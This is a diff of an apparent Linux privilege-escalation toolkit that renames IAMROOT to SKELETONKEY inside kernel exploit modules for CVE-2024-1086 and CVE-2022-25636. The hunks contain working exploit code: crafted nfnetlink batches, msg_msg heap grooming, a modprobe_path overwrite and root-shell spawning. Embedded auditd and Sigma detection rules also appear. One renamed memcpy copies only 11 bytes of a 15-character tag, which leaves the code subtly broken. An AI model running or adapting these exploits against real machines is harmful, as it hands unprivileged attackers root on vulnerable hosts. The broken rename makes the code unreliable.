fprintf(stderr, "[!] nf_tables: could not parse kernel version\n");
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Bug introduced in 5.14. Anything below predates it. */
|
/* Bug introduced in 5.14. Anything below predates it. */
|
||||||
@@ -148,7 +148,7 @@ static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[i] nf_tables: kernel %s predates the bug "
|
fprintf(stderr, "[i] nf_tables: kernel %s predates the bug "
|
||||||
"(introduced in 5.14)\n", v.release);
|
"(introduced in 5.14)\n", v.release);
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool patched = kernel_range_is_patched(&nf_tables_range, &v);
|
bool patched = kernel_range_is_patched(&nf_tables_range, &v);
|
||||||
@@ -156,7 +156,7 @@ static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
|
|||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] nf_tables: kernel %s is patched\n", v.release);
|
fprintf(stderr, "[+] nf_tables: kernel %s is patched\n", v.release);
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
int userns_ok = can_unshare_userns();
|
int userns_ok = can_unshare_userns();
|
||||||
@@ -180,14 +180,14 @@ static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[i] nf_tables: still patch the kernel — a root "
|
fprintf(stderr, "[i] nf_tables: still patch the kernel — a root "
|
||||||
"attacker can still trigger the bug\n");
|
"attacker can still trigger the bug\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[!] nf_tables: VULNERABLE — kernel in range AND user_ns "
|
fprintf(stderr, "[!] nf_tables: VULNERABLE — kernel in range AND user_ns "
|
||||||
"clone allowed\n");
|
"clone allowed\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ------------------------------------------------------------------
|
/* ------------------------------------------------------------------
|
||||||
@@ -229,7 +229,7 @@ static int enter_unpriv_namespaces(void)
|
|||||||
|
|
||||||
/* ------------------------------------------------------------------
|
/* ------------------------------------------------------------------
|
||||||
* Minimal nfnetlink batch builder. We hand-roll this rather than
|
* Minimal nfnetlink batch builder. We hand-roll this rather than
|
||||||
* pulling libmnl, both to keep IAMROOT dep-free and because the bug
|
* pulling libmnl, both to keep SKELETONKEY dep-free and because the bug
|
||||||
* relies on a specific malformed verdict that libnftnl validates away.
|
* relies on a specific malformed verdict that libnftnl validates away.
|
||||||
*
|
*
|
||||||
* Each helper appends to a contiguous batch buffer at *off.
|
* Each helper appends to a contiguous batch buffer at *off.
|
||||||
@@ -318,9 +318,9 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
|
|||||||
* Build the ruleset that fires the bug. Strategy mirrors Notselwyn's
|
* Build the ruleset that fires the bug. Strategy mirrors Notselwyn's
|
||||||
* PoC (greatly simplified):
|
* PoC (greatly simplified):
|
||||||
* 1. batch begin (NFNL_MSG_BATCH_BEGIN, subsys = NFTABLES)
|
* 1. batch begin (NFNL_MSG_BATCH_BEGIN, subsys = NFTABLES)
|
||||||
* 2. NFT_MSG_NEWTABLE "iamroot_t" family=inet
|
* 2. NFT_MSG_NEWTABLE "skeletonkey_t" family=inet
|
||||||
* 3. NFT_MSG_NEWCHAIN "iamroot_c" inside the table
|
* 3. NFT_MSG_NEWCHAIN "skeletonkey_c" inside the table
|
||||||
* 4. NFT_MSG_NEWSET "iamroot_s" inside the table, key=verdict,
|
* 4. NFT_MSG_NEWSET "skeletonkey_s" inside the table, key=verdict,
|
||||||
* data=verdict (the pipapo combo that holds the bad verdict),
|
* data=verdict (the pipapo combo that holds the bad verdict),
|
||||||
* flags = NFT_SET_ANONYMOUS|NFT_SET_CONSTANT|NFT_SET_INTERVAL
|
* flags = NFT_SET_ANONYMOUS|NFT_SET_CONSTANT|NFT_SET_INTERVAL
|
||||||
* 5. NFT_MSG_NEWSETELEM with a verdict element whose
|
* 5. NFT_MSG_NEWSETELEM with a verdict element whose
|
||||||
@@ -341,9 +341,9 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
|
|||||||
* cross-cache groom.
|
* cross-cache groom.
|
||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
|
|
||||||
static const char NFT_TABLE_NAME[] = "iamroot_t";
|
static const char NFT_TABLE_NAME[] = "skeletonkey_t";
|
||||||
static const char NFT_CHAIN_NAME[] = "iamroot_c";
|
static const char NFT_CHAIN_NAME[] = "skeletonkey_c";
|
||||||
static const char NFT_SET_NAME[] = "iamroot_s";
|
static const char NFT_SET_NAME[] = "skeletonkey_s";
|
||||||
|
|
||||||
/* batch begin / end markers */
|
/* batch begin / end markers */
|
||||||
static void put_batch_begin(uint8_t *buf, size_t *off, uint32_t seq)
|
static void put_batch_begin(uint8_t *buf, size_t *off, uint32_t seq)
|
||||||
@@ -382,7 +382,7 @@ static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq)
|
|||||||
end_msg(buf, off, at);
|
end_msg(buf, off, at);
|
||||||
}
|
}
|
||||||
|
|
||||||
/* NFT_MSG_NEWTABLE inet "iamroot_t" */
|
/* NFT_MSG_NEWTABLE inet "skeletonkey_t" */
|
||||||
static void put_new_table(uint8_t *buf, size_t *off, uint32_t seq)
|
static void put_new_table(uint8_t *buf, size_t *off, uint32_t seq)
|
||||||
{
|
{
|
||||||
size_t at = *off;
|
size_t at = *off;
|
||||||
@@ -447,8 +447,8 @@ static void put_new_set(uint8_t *buf, size_t *off, uint32_t seq)
|
|||||||
* AND once on data_release → double free.
|
* AND once on data_release → double free.
|
||||||
*
|
*
|
||||||
* We pack:
|
* We pack:
|
||||||
* NFTA_SET_ELEM_LIST_TABLE = "iamroot_t"
|
* NFTA_SET_ELEM_LIST_TABLE = "skeletonkey_t"
|
||||||
* NFTA_SET_ELEM_LIST_SET = "iamroot_s"
|
* NFTA_SET_ELEM_LIST_SET = "skeletonkey_s"
|
||||||
* NFTA_SET_ELEM_LIST_ELEMENTS { element { key=verdict(DROP),
|
* NFTA_SET_ELEM_LIST_ELEMENTS { element { key=verdict(DROP),
|
||||||
* data=verdict(GOTO chain-id=...) } }
|
* data=verdict(GOTO chain-id=...) } }
|
||||||
*/
|
*/
|
||||||
@@ -657,7 +657,7 @@ static size_t build_refire_batch(uint8_t *batch, size_t cap, uint32_t *seq)
|
|||||||
* lts-6.1.x / 6.6.x / 6.7.x un-randomized build (the kernels in the
|
* lts-6.1.x / 6.6.x / 6.7.x un-randomized build (the kernels in the
|
||||||
* exploitable range for which Notselwyn's public PoC was validated)
|
* exploitable range for which Notselwyn's public PoC was validated)
|
||||||
* and rely on the shared finisher's sentinel-file post-check to flag
|
* and rely on the shared finisher's sentinel-file post-check to flag
|
||||||
* a layout mismatch as IAMROOT_EXPLOIT_FAIL rather than fake success.
|
* a layout mismatch as SKELETONKEY_EXPLOIT_FAIL rather than fake success.
|
||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
|
|
||||||
struct nft_arb_ctx {
|
struct nft_arb_ctx {
|
||||||
@@ -798,11 +798,11 @@ static int nft_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vct
|
|||||||
* The exploit body.
|
* The exploit body.
|
||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
|
|
||||||
static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t nf_tables_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
/* Gate 1: re-confirm vulnerability. detect() also checks user_ns. */
|
/* Gate 1: re-confirm vulnerability. detect() also checks user_ns. */
|
||||||
iamroot_result_t pre = nf_tables_detect(ctx);
|
skeletonkey_result_t pre = nf_tables_detect(ctx);
|
||||||
if (pre != IAMROOT_VULNERABLE) {
|
if (pre != SKELETONKEY_VULNERABLE) {
|
||||||
fprintf(stderr, "[-] nf_tables: detect() says not vulnerable; refusing\n");
|
fprintf(stderr, "[-] nf_tables: detect() says not vulnerable; refusing\n");
|
||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
@@ -811,7 +811,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
|||||||
if (geteuid() == 0) {
|
if (geteuid() == 0) {
|
||||||
if (!ctx->json)
|
if (!ctx->json)
|
||||||
fprintf(stderr, "[i] nf_tables: already running as root\n");
|
fprintf(stderr, "[i] nf_tables: already running as root\n");
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
@@ -834,27 +834,27 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
|||||||
* as the arb-write.
|
* as the arb-write.
|
||||||
*/
|
*/
|
||||||
if (ctx->full_chain) {
|
if (ctx->full_chain) {
|
||||||
struct iamroot_kernel_offsets off;
|
struct skeletonkey_kernel_offsets off;
|
||||||
iamroot_offsets_resolve(&off);
|
skeletonkey_offsets_resolve(&off);
|
||||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||||
iamroot_finisher_print_offset_help("nf_tables");
|
skeletonkey_finisher_print_offset_help("nf_tables");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
iamroot_offsets_print(&off);
|
skeletonkey_offsets_print(&off);
|
||||||
|
|
||||||
if (enter_unpriv_namespaces() < 0) {
|
if (enter_unpriv_namespaces() < 0) {
|
||||||
fprintf(stderr, "[-] nf_tables: userns entry failed\n");
|
fprintf(stderr, "[-] nf_tables: userns entry failed\n");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
|
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
|
||||||
if (sock < 0) {
|
if (sock < 0) {
|
||||||
perror("[-] socket(NETLINK_NETFILTER)");
|
perror("[-] socket(NETLINK_NETFILTER)");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
|
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
|
||||||
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
|
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
|
||||||
perror("[-] bind"); close(sock); return IAMROOT_EXPLOIT_FAIL;
|
perror("[-] bind"); close(sock); return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
int rcvbuf = 1 << 20;
|
int rcvbuf = 1 << 20;
|
||||||
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
|
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
|
||||||
@@ -863,11 +863,11 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
|||||||
int qids[SPRAY_MSGS * 4];
|
int qids[SPRAY_MSGS * 4];
|
||||||
for (size_t i = 0; i < sizeof qids / sizeof qids[0]; i++) qids[i] = -1;
|
for (size_t i = 0; i < sizeof qids / sizeof qids[0]; i++) qids[i] = -1;
|
||||||
if (spray_msg_msg(qids, SPRAY_MSGS / 2) < 0) {
|
if (spray_msg_msg(qids, SPRAY_MSGS / 2) < 0) {
|
||||||
close(sock); return IAMROOT_EXPLOIT_FAIL;
|
close(sock); return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
uint8_t *batch = calloc(1, 16 * 1024);
|
uint8_t *batch = calloc(1, 16 * 1024);
|
||||||
if (!batch) { close(sock); return IAMROOT_EXPLOIT_FAIL; }
|
if (!batch) { close(sock); return SKELETONKEY_EXPLOIT_FAIL; }
|
||||||
|
|
||||||
/* Initial trigger batch (NEWTABLE/CHAIN/SET/SETELEM). */
|
/* Initial trigger batch (NEWTABLE/CHAIN/SET/SETELEM). */
|
||||||
uint32_t seq = (uint32_t)time(NULL);
|
uint32_t seq = (uint32_t)time(NULL);
|
||||||
@@ -880,12 +880,12 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[-] nf_tables: trigger batch failed\n");
|
fprintf(stderr, "[-] nf_tables: trigger batch failed\n");
|
||||||
drain_spray(qids, SPRAY_MSGS / 2);
|
drain_spray(qids, SPRAY_MSGS / 2);
|
||||||
free(batch); close(sock);
|
free(batch); close(sock);
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Wire up the arb-write context and hand off to the shared
|
/* Wire up the arb-write context and hand off to the shared
|
||||||
* finisher. The finisher will:
|
* finisher. The finisher will:
|
||||||
* - call nft_arb_write(modprobe_path, "/tmp/iamroot-mp-...", N)
|
* - call nft_arb_write(modprobe_path, "/tmp/skeletonkey-mp-...", N)
|
||||||
* which re-fires the trigger and sprays forged pipapo elems
|
* which re-fires the trigger and sprays forged pipapo elems
|
||||||
* - execve() the trigger binary to invoke modprobe
|
* - execve() the trigger binary to invoke modprobe
|
||||||
* - poll for the setuid sentinel, and spawn a root shell. */
|
* - poll for the setuid sentinel, and spawn a root shell. */
|
||||||
@@ -898,7 +898,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
|||||||
.qused = SPRAY_MSGS / 2,
|
.qused = SPRAY_MSGS / 2,
|
||||||
};
|
};
|
||||||
|
|
||||||
iamroot_result_t r = iamroot_finisher_modprobe_path(&off,
|
skeletonkey_result_t r = skeletonkey_finisher_modprobe_path(&off,
|
||||||
nft_arb_write, &ac, !ctx->no_shell);
|
nft_arb_write, &ac, !ctx->no_shell);
|
||||||
|
|
||||||
drain_spray(qids, ac.qused);
|
drain_spray(qids, ac.qused);
|
||||||
@@ -913,7 +913,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
|||||||
* kernel panics on KASAN we don't want our parent process to be
|
* kernel panics on KASAN we don't want our parent process to be
|
||||||
* the one that takes the hit. */
|
* the one that takes the hit. */
|
||||||
pid_t child = fork();
|
pid_t child = fork();
|
||||||
if (child < 0) { perror("[-] fork"); return IAMROOT_TEST_ERROR; }
|
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
|
||||||
|
|
||||||
if (child == 0) {
|
if (child == 0) {
|
||||||
/* --- CHILD --- */
|
/* --- CHILD --- */
|
||||||
@@ -1040,7 +1040,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
|||||||
"fired (KASAN/oops can manifest as child signal)\n",
|
"fired (KASAN/oops can manifest as child signal)\n",
|
||||||
WTERMSIG(status));
|
WTERMSIG(status));
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
int rc = WEXITSTATUS(status);
|
int rc = WEXITSTATUS(status);
|
||||||
@@ -1054,20 +1054,20 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
|||||||
" cross-cache groom + modprobe_path overwrite\n"
|
" cross-cache groom + modprobe_path overwrite\n"
|
||||||
" from github.com/Notselwyn/CVE-2024-1086.\n");
|
" from github.com/Notselwyn/CVE-2024-1086.\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (rc >= 20 && rc <= 25) {
|
if (rc >= 20 && rc <= 25) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[-] nf_tables: trigger setup failed (child rc=%d)\n", rc);
|
fprintf(stderr, "[-] nf_tables: trigger setup failed (child rc=%d)\n", rc);
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[-] nf_tables: unexpected child rc=%d\n", rc);
|
fprintf(stderr, "[-] nf_tables: unexpected child rc=%d\n", rc);
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ----- Embedded detection rules ----- */
|
/* ----- Embedded detection rules ----- */
|
||||||
@@ -1077,15 +1077,15 @@ static const char nf_tables_auditd[] =
|
|||||||
"# Flag unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by nft socket setup.\n"
|
"# Flag unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by nft socket setup.\n"
|
||||||
"# This is the canonical exploit shape; legitimate userns + nft use\n"
|
"# This is the canonical exploit shape; legitimate userns + nft use\n"
|
||||||
"# (e.g. firewalld, docker rootless) will also trip — tune per env.\n"
|
"# (e.g. firewalld, docker rootless) will also trip — tune per env.\n"
|
||||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-nf-tables-userns\n"
|
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-nf-tables-userns\n"
|
||||||
"-a always,exit -F arch=b32 -S unshare -k iamroot-nf-tables-userns\n"
|
"-a always,exit -F arch=b32 -S unshare -k skeletonkey-nf-tables-userns\n"
|
||||||
"# Also watch for the canonical post-exploit primitives: modprobe_path\n"
|
"# Also watch for the canonical post-exploit primitives: modprobe_path\n"
|
||||||
"# overwrite OR setresuid(0,0,0) on a previously-non-root process.\n"
|
"# overwrite OR setresuid(0,0,0) on a previously-non-root process.\n"
|
||||||
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k iamroot-nf-tables-priv\n";
|
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k skeletonkey-nf-tables-priv\n";
|
||||||
|
|
||||||
static const char nf_tables_sigma[] =
|
static const char nf_tables_sigma[] =
|
||||||
"title: Possible CVE-2024-1086 nf_tables UAF exploitation\n"
|
"title: Possible CVE-2024-1086 nf_tables UAF exploitation\n"
|
||||||
"id: a72b5e91-iamroot-nf-tables\n"
|
"id: a72b5e91-skeletonkey-nf-tables\n"
|
||||||
"status: experimental\n"
|
"status: experimental\n"
|
||||||
"description: |\n"
|
"description: |\n"
|
||||||
" Detects the canonical exploit shape: unprivileged user creating a\n"
|
" Detects the canonical exploit shape: unprivileged user creating a\n"
|
||||||
@@ -1107,7 +1107,7 @@ static const char nf_tables_sigma[] =
|
|||||||
"level: high\n"
|
"level: high\n"
|
||||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2024.1086]\n";
|
"tags: [attack.privilege_escalation, attack.t1068, cve.2024.1086]\n";
|
||||||
|
|
||||||
const struct iamroot_module nf_tables_module = {
|
const struct skeletonkey_module nf_tables_module = {
|
||||||
.name = "nf_tables",
|
.name = "nf_tables",
|
||||||
.cve = "CVE-2024-1086",
|
.cve = "CVE-2024-1086",
|
||||||
.summary = "nf_tables nft_verdict_init UAF (cross-cache) → arbitrary kernel R/W",
|
.summary = "nf_tables nft_verdict_init UAF (cross-cache) → arbitrary kernel R/W",
|
||||||
@@ -1123,7 +1123,7 @@ const struct iamroot_module nf_tables_module = {
|
|||||||
.detect_falco = NULL,
|
.detect_falco = NULL,
|
||||||
};
|
};
|
||||||
|
|
||||||
void iamroot_register_nf_tables(void)
|
void skeletonkey_register_nf_tables(void)
|
||||||
{
|
{
|
||||||
iamroot_register(&nf_tables_module);
|
skeletonkey_register(&nf_tables_module);
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* nf_tables_cve_2024_1086 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef NF_TABLES_SKELETONKEY_MODULES_H
|
||||||
|
#define NF_TABLES_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module nf_tables_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -17,12 +17,12 @@ Original writeup:
|
|||||||
Upstream fix: mainline 5.17 (commit `fa54fee62954`, Feb 2022).
|
Upstream fix: mainline 5.17 (commit `fa54fee62954`, Feb 2022).
|
||||||
Branch backports: 5.16.11 / 5.15.25 / 5.10.102 / 5.4.181.
|
Branch backports: 5.16.11 / 5.15.25 / 5.10.102 / 5.4.181.
|
||||||
|
|
||||||
## IAMROOT role
|
## SKELETONKEY role
|
||||||
|
|
||||||
userns+netns reach. Hand-rolled nfnetlink batch: NEWTABLE →
|
userns+netns reach. Hand-rolled nfnetlink batch: NEWTABLE →
|
||||||
NEWCHAIN with `NFT_CHAIN_HW_OFFLOAD` → NEWRULE with 16 immediates
|
NEWCHAIN with `NFT_CHAIN_HW_OFFLOAD` → NEWRULE with 16 immediates
|
||||||
+ fwd, overruning `action.entries[1]`. msg_msg cross-cache groom
|
+ fwd, overruning `action.entries[1]`. msg_msg cross-cache groom
|
||||||
into kmalloc-512 with `IAMROOT_FWD` tags.
|
into kmalloc-512 with `SKELETONKEY_FWD` tags.
|
||||||
|
|
||||||
`--full-chain` extends with stride-seeded forged action_entry
|
`--full-chain` extends with stride-seeded forged action_entry
|
||||||
overwrite aimed at modprobe_path via the shared finisher.
|
overwrite aimed at modprobe_path via the shared finisher.
|
||||||
|
|||||||
@@ -1,12 +0,0 @@
|
|||||||
/*
|
|
||||||
* nft_fwd_dup_cve_2022_25636 — IAMROOT module registry hook
|
|
||||||
*/
|
|
||||||
|
|
||||||
#ifndef NFT_FWD_DUP_IAMROOT_MODULES_H
|
|
||||||
#define NFT_FWD_DUP_IAMROOT_MODULES_H
|
|
||||||
|
|
||||||
#include "../../core/module.h"
|
|
||||||
|
|
||||||
extern const struct iamroot_module nft_fwd_dup_module;
|
|
||||||
|
|
||||||
#endif
|
|
||||||
+50
-50
@@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* nft_fwd_dup_cve_2022_25636 — IAMROOT module
|
* nft_fwd_dup_cve_2022_25636 — SKELETONKEY module
|
||||||
*
|
*
|
||||||
* Heap OOB write in net/netfilter/nf_dup_netdev.c ::
|
* Heap OOB write in net/netfilter/nf_dup_netdev.c ::
|
||||||
* nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
|
* nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
|
||||||
@@ -41,7 +41,7 @@
|
|||||||
* - nf_tables module loadable
|
* - nf_tables module loadable
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#include "iamroot_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
#include "../../core/kernel_range.h"
|
||||||
#include "../../core/offsets.h"
|
#include "../../core/offsets.h"
|
||||||
@@ -125,12 +125,12 @@ static bool nf_tables_loaded(void)
|
|||||||
return found;
|
return found;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t nft_fwd_dup_detect(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t nft_fwd_dup_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
struct kernel_version v;
|
struct kernel_version v;
|
||||||
if (!kernel_version_current(&v)) {
|
if (!kernel_version_current(&v)) {
|
||||||
fprintf(stderr, "[!] nft_fwd_dup: could not parse kernel version\n");
|
fprintf(stderr, "[!] nft_fwd_dup: could not parse kernel version\n");
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* The offload code path only exists from 5.4 onward. Anything
|
/* The offload code path only exists from 5.4 onward. Anything
|
||||||
@@ -140,7 +140,7 @@ static iamroot_result_t nft_fwd_dup_detect(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[i] nft_fwd_dup: kernel %s predates the bug "
|
fprintf(stderr, "[i] nft_fwd_dup: kernel %s predates the bug "
|
||||||
"(nft offload hook introduced in 5.4)\n", v.release);
|
"(nft offload hook introduced in 5.4)\n", v.release);
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool patched = kernel_range_is_patched(&nft_fwd_dup_range, &v);
|
bool patched = kernel_range_is_patched(&nft_fwd_dup_range, &v);
|
||||||
@@ -148,7 +148,7 @@ static iamroot_result_t nft_fwd_dup_detect(const struct iamroot_ctx *ctx)
|
|||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] nft_fwd_dup: kernel %s is patched\n", v.release);
|
fprintf(stderr, "[+] nft_fwd_dup: kernel %s is patched\n", v.release);
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
int userns_ok = can_unshare_userns();
|
int userns_ok = can_unshare_userns();
|
||||||
@@ -172,14 +172,14 @@ static iamroot_result_t nft_fwd_dup_detect(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[i] nft_fwd_dup: still patch the kernel — a root\n"
|
fprintf(stderr, "[i] nft_fwd_dup: still patch the kernel — a root\n"
|
||||||
" attacker can still hit the OOB.\n");
|
" attacker can still hit the OOB.\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[!] nft_fwd_dup: VULNERABLE — kernel in range AND user_ns "
|
fprintf(stderr, "[!] nft_fwd_dup: VULNERABLE — kernel in range AND user_ns "
|
||||||
"clone allowed\n");
|
"clone allowed\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ------------------------------------------------------------------
|
/* ------------------------------------------------------------------
|
||||||
@@ -334,7 +334,7 @@ static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq)
|
|||||||
* Rule construction — the heart of the trigger.
|
* Rule construction — the heart of the trigger.
|
||||||
*
|
*
|
||||||
* Strategy (Aaron Adams shape):
|
* Strategy (Aaron Adams shape):
|
||||||
* NEWTABLE netdev "iamroot_fdt"
|
* NEWTABLE netdev "skeletonkey_fdt"
|
||||||
* NEWCHAIN base chain on ingress, family=netdev,
|
* NEWCHAIN base chain on ingress, family=netdev,
|
||||||
* flags = NFT_CHAIN_HW_OFFLOAD ← critical: this is what
|
* flags = NFT_CHAIN_HW_OFFLOAD ← critical: this is what
|
||||||
* drives nft_flow_rule_create() to call the offload hooks
|
* drives nft_flow_rule_create() to call the offload hooks
|
||||||
@@ -355,8 +355,8 @@ static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq)
|
|||||||
* the adjacent kmalloc-512 chunk. Boom.
|
* the adjacent kmalloc-512 chunk. Boom.
|
||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
|
|
||||||
static const char NFT_TABLE_NAME[] = "iamroot_fdt";
|
static const char NFT_TABLE_NAME[] = "skeletonkey_fdt";
|
||||||
static const char NFT_CHAIN_NAME[] = "iamroot_fdc";
|
static const char NFT_CHAIN_NAME[] = "skeletonkey_fdc";
|
||||||
static const char NFT_DUMMY_IF[] = "lo"; /* hookmust be on a real iface */
|
static const char NFT_DUMMY_IF[] = "lo"; /* hookmust be on a real iface */
|
||||||
|
|
||||||
static void put_new_table(uint8_t *buf, size_t *off, uint32_t seq)
|
static void put_new_table(uint8_t *buf, size_t *off, uint32_t seq)
|
||||||
@@ -513,7 +513,7 @@ static int spray_msg_msg_groom(int *queues, int n_queues)
|
|||||||
memset(&p, 0, sizeof p);
|
memset(&p, 0, sizeof p);
|
||||||
p.mtype = 0x46;
|
p.mtype = 0x46;
|
||||||
memset(p.mtext, 0xAA, sizeof p.mtext);
|
memset(p.mtext, 0xAA, sizeof p.mtext);
|
||||||
memcpy(p.mtext, "IAMROOT_FWD", 11);
|
memcpy(p.mtext, "SKELETONKEY_FWD", 11);
|
||||||
*(uint32_t *)(p.mtext + 12) = MSG_TAG_GROOM;
|
*(uint32_t *)(p.mtext + 12) = MSG_TAG_GROOM;
|
||||||
|
|
||||||
int created = 0;
|
int created = 0;
|
||||||
@@ -614,7 +614,7 @@ static size_t build_trigger_batch(uint8_t *batch, uint32_t *seq)
|
|||||||
* lockdep, KASAN can all shift it). We ship the layout for an
|
